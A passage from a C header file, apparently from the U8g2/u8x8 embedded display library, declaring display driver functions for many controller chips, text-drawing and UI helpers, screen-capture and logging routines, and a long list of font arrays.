*arg_ptr); uint8_t u8x8_d_t6963_128x64_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t6963_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t6963_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1316_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1316_96x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1317_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1318_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1318_128x96_xcp(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1320_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1320_160x132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1320_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1322_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1322_nhd_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1322_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1362_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1362_206x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_a2printer_384x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sed1330_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sed1330_256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sed1330_320x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ra8835_nhd_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ra8835_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1325_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd0323_os128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_ws_96x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_ea_w128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_midas_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_zjy_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_ws_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1327_visionox_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1326_er_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1329_128x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1329_96x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1601_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1601_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1604_jlx19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1608_erc24064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1608_dem240064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1608_erc240120(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1608_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1609_slg19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1610_ea_dogxl160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1611_ea_dogm240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1611_ea_dogxl240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1611_ew50850(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* 240x160 */ uint8_t u8x8_d_uc1611_cg160160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* 160x160 */ uint8_t u8x8_d_uc1617_jlx128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1611_ids4073(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* 256x128 */ uint8_t u8x8_d_uc1638_160x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1638_192x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_uc1638_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ks0108_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ks0108_erm19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_t7932_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* t7932 and hd44102 are compatible */ uint8_t u8x8_d_hd44102_100x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* t7932 and hd44102 are compatible */ uint8_t u8x8_d_sbn1661_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_sed1520_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_pcd8544_84x48(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_pcf8812_96x65(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_hx1230_96x68(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1606_172x72(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1607_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1607_v2_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1607_gd_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ssd1607_ws_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* issue 637 */ uint8_t u8x8_d_il3820_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_il3820_v2_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_lc7981_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_lc7981_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_lc7981_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_lc7981_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_lc7981_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ist3020_erc19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ist3088_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_ist7920_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_max7219_64x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_max7219_32x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_max7219_16x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_max7219_8x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_s1d15e06_160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_s1d15300_lm6023(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_s1d15721_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_gu800_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_gu800_160x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_gp1287ai_256x50(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); uint8_t u8x8_d_gp1247ai_253x63(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /*==========================================*/ /* u8x8_8x8.c */ uint16_t u8x8_upscale_byte(uint8_t x) U8X8_NOINLINE; void u8x8_utf8_init(u8x8_t *u8x8); uint16_t u8x8_ascii_next(u8x8_t *u8x8, uint8_t b); uint16_t u8x8_utf8_next(u8x8_t *u8x8, uint8_t b); // the following two functions are replaced by the init/next functions //uint16_t u8x8_get_encoding_from_utf8_string(const char **str); //uint16_t u8x8_get_char_from_string(const char **str); void u8x8_SetFont(u8x8_t *u8x8, const uint8_t *font_8x8); void u8x8_DrawGlyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding); void u8x8_Draw2x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding); void u8x8_Draw1x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding); uint8_t u8x8_DrawString(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); uint8_t u8x8_DrawUTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); /* return number of glyps */ uint8_t u8x8_Draw2x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); uint8_t u8x8_Draw2x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); uint8_t u8x8_Draw1x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); uint8_t u8x8_Draw1x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s); uint8_t u8x8_GetUTF8Len(u8x8_t *u8x8, const char *s); #define u8x8_SetInverseFont(u8x8, b) (u8x8)->is_font_inverse_mode = (b) /*==========================================*/ /* itoa procedures */ const char *u8x8_u8toa(uint8_t v, uint8_t d); const char *u8x8_u16toa(uint16_t v, uint8_t d); const char *u8x8_utoa(uint16_t v); /*==========================================*/ /* u8x8_string.c */ uint8_t u8x8_GetStringLineCnt(const char *str); /* return 0 for str==NULL */ const char *u8x8_GetStringLineStart(uint8_t line_idx, const char *str ); void u8x8_CopyStringLine(char *dest, uint8_t line_idx, const char *str); /* draw one line, consider \t for center */ uint8_t u8x8_DrawUTF8Line(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s); /* draw multiple lines, handle \t */ uint8_t u8x8_DrawUTF8Lines(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s); /*==========================================*/ /* u8x8_selection_list.c */ struct _u8sl_struct { uint8_t visible; /* number of visible elements in the menu */ uint8_t total; /* total number of elements in the menu */ uint8_t first_pos; /* position of the first visible line */ uint8_t current_pos; /* current cursor position, starts at 0 */ uint8_t x; /* u8x8 only, not used in u8g2 */ uint8_t y; /* u8x8 only, not used in u8g2 */ }; typedef struct _u8sl_struct u8sl_t; typedef void (*u8x8_sl_cb)(u8x8_t *u8x8, u8sl_t *u8sl, uint8_t idx, const void *aux); void u8sl_Next(u8sl_t *u8sl); void u8sl_Prev(u8sl_t *u8sl); uint8_t u8x8_UserInterfaceSelectionList(u8x8_t *u8x8, const char *title, uint8_t start_pos, const char *sl); /*==========================================*/ /* u8x8_message.c */ uint8_t u8x8_UserInterfaceMessage(u8x8_t *u8x8, const char *title1, const char *title2, const char *title3, const char *buttons); /*==========================================*/ /* u8x8_capture.c */ /* vertical_top memory architecture */ uint8_t u8x8_capture_get_pixel_1(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width); /* horizontal right memory architecture */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ uint8_t u8x8_capture_get_pixel_2(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width); void u8x8_capture_write_pbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s)); void u8x8_capture_write_pbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s)); void u8x8_capture_write_xbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s)); void u8x8_capture_write_xbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s)); /*==========================================*/ /* u8x8_input_value.c */ uint8_t u8x8_UserInterfaceInputValue(u8x8_t *u8x8, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post); /*==========================================*/ /* u8log.c */ void u8log_Init(u8log_t *u8log, uint8_t width, uint8_t height, uint8_t *buf); void u8log_SetCallback(u8log_t *u8log, u8log_cb cb, void *aux_data); void u8log_SetRedrawMode(u8log_t *u8log, uint8_t is_redraw_line_for_each_char); void u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset); void u8log_WriteString(u8log_t *u8log, const char *s) U8X8_NOINLINE; void u8log_WriteChar(u8log_t *u8log, uint8_t c) U8X8_NOINLINE; void u8log_WriteHex8(u8log_t *u8log, uint8_t b) U8X8_NOINLINE; void u8log_WriteHex16(u8log_t *u8log, uint16_t v); void u8log_WriteHex32(u8log_t *u8log, uint32_t v); void u8log_WriteDec8(u8log_t *u8log, uint8_t v, uint8_t d); void u8log_WriteDec16(u8log_t *u8log, uint16_t v, uint8_t d); /*==========================================*/ /* u8log_u8x8.c */ void u8x8_DrawLog(u8x8_t *u8x8, uint8_t x, uint8_t y, u8log_t *u8log); void u8log_u8x8_cb(u8log_t * u8log); /*==========================================*/ /* start font list */ extern const uint8_t u8x8_font_amstrad_cpc_extended_f[] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_f"); extern const uint8_t u8x8_font_amstrad_cpc_extended_r[] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_r"); extern const uint8_t u8x8_font_amstrad_cpc_extended_n[] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_n"); extern const uint8_t u8x8_font_amstrad_cpc_extended_u[] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_u"); extern const uint8_t u8x8_font_5x7_f[] U8X8_FONT_SECTION("u8x8_font_5x7_f"); extern const uint8_t u8x8_font_5x7_r[] U8X8_FONT_SECTION("u8x8_font_5x7_r"); extern const uint8_t u8x8_font_5x7_n[] U8X8_FONT_SECTION("u8x8_font_5x7_n"); extern const uint8_t u8x8_font_5x8_f[] U8X8_FONT_SECTION("u8x8_font_5x8_f"); extern const uint8_t u8x8_font_5x8_r[] U8X8_FONT_SECTION("u8x8_font_5x8_r"); extern const uint8_t u8x8_font_5x8_n[] U8X8_FONT_SECTION("u8x8_font_5x8_n"); extern const uint8_t u8x8_font_8x13_1x2_f[] U8X8_FONT_SECTION("u8x8_font_8x13_1x2_f"); extern const uint8_t u8x8_font_8x13_1x2_r[] U8X8_FONT_SECTION("u8x8_font_8x13_1x2_r"); extern const uint8_t u8x8_font_8x13_1x2_n[] U8X8_FONT_SECTION("u8x8_font_8x13_1x2_n"); extern const uint8_t u8x8_font_8x13B_1x2_f[] U8X8_FONT_SECTION("u8x8_font_8x13B_1x2_f"); extern const uint8_t u8x8_font_8x13B_1x2_r[] U8X8_FONT_SECTION("u8x8_font_8x13B_1x2_r"); extern const uint8_t u8x8_font_8x13B_1x2_n[] U8X8_FONT_SECTION("u8x8_font_8x13B_1x2_n"); extern const uint8_t u8x8_font_7x14_1x2_f[] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_f"); extern const uint8_t u8x8_font_7x14_1x2_r[] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_r"); extern const uint8_t u8x8_font_7x14_1x2_n[] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_n"); extern const uint8_t u8x8_font_7x14B_1x2_f[] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_f"); extern const uint8_t u8x8_font_7x14B_1x2_r[] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_r"); extern const uint8_t u8x8_font_7x14B_1x2_n[] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_n"); extern const uint8_t u8x8_font_open_iconic_arrow_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_1x1"); extern const uint8_t u8x8_font_open_iconic_check_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_1x1"); extern const uint8_t u8x8_font_open_iconic_embedded_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_1x1"); extern const uint8_t u8x8_font_open_iconic_play_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_1x1"); extern const uint8_t u8x8_font_open_iconic_thing_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_1x1"); extern const uint8_t u8x8_font_open_iconic_weather_1x1[] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_1x1"); extern const uint8_t u8x8_font_open_iconic_arrow_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_2x2"); extern const uint8_t u8x8_font_open_iconic_check_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_2x2"); extern const uint8_t u8x8_font_open_iconic_embedded_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_2x2"); extern const uint8_t u8x8_font_open_iconic_play_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_2x2"); extern const uint8_t u8x8_font_open_iconic_thing_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_2x2"); extern const uint8_t u8x8_font_open_iconic_weather_2x2[] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_2x2"); extern const uint8_t u8x8_font_open_iconic_arrow_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_4x4"); extern const uint8_t u8x8_font_open_iconic_check_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_4x4"); extern const uint8_t u8x8_font_open_iconic_embedded_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_4x4"); extern const uint8_t u8x8_font_open_iconic_play_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_4x4"); extern const uint8_t u8x8_font_open_iconic_thing_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_4x4"); extern const uint8_t u8x8_font_open_iconic_weather_4x4[] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_4x4"); extern const uint8_t u8x8_font_open_iconic_arrow_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_8x8"); extern const uint8_t u8x8_font_open_iconic_check_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_8x8"); extern const uint8_t u8x8_font_open_iconic_embedded_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_8x8"); extern const uint8_t u8x8_font_open_iconic_play_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_8x8"); extern const uint8_t u8x8_font_open_iconic_thing_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_8x8"); extern const uint8_t u8x8_font_open_iconic_weather_8x8[] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_8x8"); extern const uint8_t u8x8_font_profont29_2x3_f[] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_f"); extern const uint8_t u8x8_font_profont29_2x3_r[] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_r"); extern const uint8_t u8x8_font_profont29_2x3_n[] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_n"); extern const uint8_t u8x8_font_artossans8_r[] U8X8_FONT_SECTION("u8x8_font_artossans8_r"); extern const uint8_t u8x8_font_artossans8_n[] U8X8_FONT_SECTION("u8x8_font_artossans8_n"); extern const uint8_t u8x8_font_artossans8_u[] U8X8_FONT_SECTION("u8x8_font_artossans8_u"); extern const uint8_t u8x8_font_artosserif8_r[] U8X8_FONT_SECTION("u8x8_font_artosserif8_r"); extern const uint8_t u8x8_font_artosserif8_n[] U8X8_FONT_SECTION("u8x8_font_artosserif8_n"); extern const uint8_t u8x8_font_artosserif8_u[] U8X8_FONT_SECTION("u8x8_font_artosserif8_u"); extern const uint8_t u8x8_font_chroma48medium8_r[] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_r"); extern const uint8_t u8x8_font_chroma48medium8_n[] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_n"); extern const uint8_t u8x8_font_chroma48medium8_u[] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_u"); extern const uint8_t u8x8_font_saikyosansbold8_n[] U8X8_FONT_SECTION("u8x8_font_saikyosansbold8_n"); extern const uint8_t u8x8_font_saikyosansbold8_u[] U8X8_FONT_SECTION("u8x8_font_saikyosansbold8_u"); extern const uint8_t u8x8_font_torussansbold8_r[] U8X8_FONT_SECTION("u8x8_font_torussansbold8_r"); extern const uint8_t u8x8_font_torussansbold8_n[] U8X8_FONT_SECTION("u8x8_font_torussansbold8_n"); extern const uint8_t u8x8_font_torussansbold8_u[] U8X8_FONT_SECTION("u8x8_font_torussansbold8_u"); extern const uint8_t u8x8_font_victoriabold8_r[] U8X8_FONT_SECTION("u8x8_font_victoriabold8_r"); extern const uint8_t u8x8_font_victoriabold8_n[] U8X8_FONT_SECTION("u8x8_font_victoriabold8_n"); extern const uint8_t u8x8_font_victoriabold8_u[] U8X8_FONT_SECTION("u8x8_font_victoriabold8_u"); extern const uint8_t u8x8_font_victoriamedium8_r[] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_r"); extern const uint8_t u8x8_font_victoriamedium8_n[] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_n"); extern const uint8_t u8x8_font_victoriamedium8_u[] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_u"); extern const uint8_t u8x8_font_courB18_2x3_f[] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_f"); extern const uint8_t u8x8_font_courB18_2x3_r[] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_r"); extern const uint8_t u8x8_font_courB18_2x3_n[] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_n"); extern const uint8_t u8x8_font_courR18_2x3_f[] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_f"); extern const uint8_t u8x8_font_courR18_2x3_r[] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_r"); extern const uint8_t u8x8_font_courR18_2x3_n[] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_n"); extern const uint8_t u8x8_font_courB24_3x4_f[] U8X8_FONT_SECTION("u8x8_font_courB24_3x4_f"); extern const uint8_t u8x8_font_courB24_3x4_r[] U8X8_FONT_SECTION("u8x8_font_courB24_3x4_r"); extern const uint8_t u8x8_font_courB24_3x4_n[] U8X8_FONT_SECTION("u8x8_font_courB24_3x4_n"); extern const uint8_t u8x8_font_courR24_3x4_f[] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_f"); extern const uint8_t u8x8_font_courR24_3x4_r[] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_r"); extern const uint8_t u8x8_font_courR24_3x4_n[] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_n"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_f[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_o_2x2_f"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_r[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_o_2x2_r"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_n[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_o_2x2_n"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_f[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_f"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_r[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_r"); extern const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_n[] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_n"); extern const uint8_t u8x8_font_inr21_2x4_f[] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_f"); extern const uint8_t u8x8_font_inr21_2x4_r[] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_r"); extern const uint8_t u8x8_font_inr21_2x4_n[] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_n"); extern const uint8_t u8x8_font_inr33_3x6_f[] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_f"); extern const uint8_t u8x8_font_inr33_3x6_r[] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_r"); extern const uint8_t u8x8_font_inr33_3x6_n[] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_n"); extern const uint8_t u8x8_font_inr46_4x8_f[] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_f"); extern const uint8_t u8x8_font_inr46_4x8_r[] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_r"); extern const uint8_t u8x8_font_inr46_4x8_n[] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_n"); extern const uint8_t u8x8_font_inb21_2x4_f[] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_f"); extern const uint8_t u8x8_font_inb21_2x4_r[] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_r"); extern const uint8_t u8x8_font_inb21_2x4_n[] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_n"); extern const uint8_t u8x8_font_inb33_3x6_f[] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_f"); extern const uint8_t u8x8_font_inb33_3x6_r[] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_r"); extern const uint8_t u8x8_font_inb33_3x6_n[] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_n"); extern const uint8_t u8x8_font_inb46_4x8_f[] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_f"); extern const uint8_t u8x8_font_inb46_4x8_r[] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_r"); extern const uint8_t u8x8_font_inb46_4x8_n[] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_n"); extern const uint8_t u8x8_font_pressstart2p_f[] U8X8_FONT_SECTION("u8x8_font_pressstart2p_f"); extern const uint8_t u8x8_font_pressstart2p_r[] U8X8_FONT_SECTION("u8x8_font_pressstart2p_r"); extern const uint8_t u8x8_font_pressstart2p_n[] U8X8_FONT_SECTION("u8x8_font_pressstart2p_n"); extern const uint8_t u8x8_font_pressstart2p_u[] U8X8_FONT_SECTION("u8x8_font_pressstart2p_u"); extern const uint8_t u8x8_font_pcsenior_f[] U8X8_FONT_SECTION("u8x8_font_pcsenior_f"); extern const uint8_t u8x8_font_pcsenior_r[] U8X8_FONT_SECTION("u8x8_font_pcsenior_r"); extern const uint8_t u8x8_font_pcsenior_n[] U8X8_FONT_SECTION("u8x8_font_pcsenior_n"); extern const uint8_t u8x8_font_pcsenior_u[] U8X8_FONT_SECTION("u8x8_font_pcsenior_u"); extern const uint8_t 